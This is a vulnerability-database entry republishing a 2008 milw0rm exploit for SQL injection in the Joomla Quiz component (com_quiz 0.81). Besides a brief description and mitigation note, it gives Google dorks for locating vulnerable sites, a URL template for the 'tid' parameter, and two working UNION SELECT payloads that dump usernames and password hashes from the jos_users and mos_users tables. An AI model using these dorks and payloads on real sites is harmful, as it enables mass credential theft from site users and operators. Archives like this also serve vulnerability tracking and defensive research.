Joomla SQL Injection(com_quiz)user_tst_shw

vendor:

Quiz

by:

S@BUN

7.5

CVSS

HIGH

SQL Injection

CWE

Product Name: Quiz

Affected Version From: 0.81

Affected Version To: 0.81

Patch Exists: YES

Related CWE: N/A

CPE: a:ioannis_sannos:quiz

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Joomla

2008

Joomla SQL Injection(com_quiz)user_tst_shw

An attacker can exploit this vulnerability by adding malicious code to the 'tid' parameter in the URL. This malicious code can be used to extract the username and password of the users from the database.

Mitigation:

The vendor has released an update to address this vulnerability. Users are advised to update to the latest version.

Source

Exploit-DB raw data:

###############################################################
#
# joomla SQL Injection(com_quiz)user_tst_shw
#
###############################################################
#
# AUTHOR : S@BUN
#
# HOME : http://www.hackturkiye.com
# http://www.milw0rm.com/author/1334
#
# MAÄ°L : hackturkiye.hackturkiye@gmail.com
#
#
################################################################
#
# DORK 1 : allinurl: com_quiz"tid"
#
# DORK 2 : allinurl: com_quiz
#
################################################################
EXPLOIT :

ALL PASSWORD AND USERNAME UNDER PAGE

EXAMPLE: AFTER tid add EXPLOÄ°TS

www.xxxxxxxx.com/index.php?option=com_quiz&task=user_tst_shw&Itemid=xxx&tid= [EXPLOÄ°T]

EXPLOIT=1=

1/**/union/**/select/**/0,concat(username,0x3a,password),concat(username,0x3a,password)/**/from/**/jos_users/*

EXPLOÄ°T=2=

1/**/union/**/select/**/0,concat(username,0x3a,password),concat(username,0x3a,password)/**/from/**/mos_users/*


################################################################
# S@BUN                   i AM NOT HACKER                 S@BUN
################################################################

  <name>Quiz</name>
  <creationDate>25.10.2005</creationDate>
	<author>Ioannis Sannos</author>
	<copyright>Ioannis Sannos</copyright>
  <authorEmail>blackgate@datahellas.com</authorEmail>

	<authorUrl>http://www.datahellas.com</authorUrl>
  <version>0.81</version>
  <description>Komponent Quiz dla  Joomla. UmoÅ¼liwia tworzenie w kilku krokach testÃ³w/quizÃ³w oraz zarzÄ…dzanie nimi. Autor: Ioannis Sannos (DataHellas). Polska adaptacja i AdminLanguage: zwiastun@zwiastun.net</description>

# milw0rm.com [2008-02-14]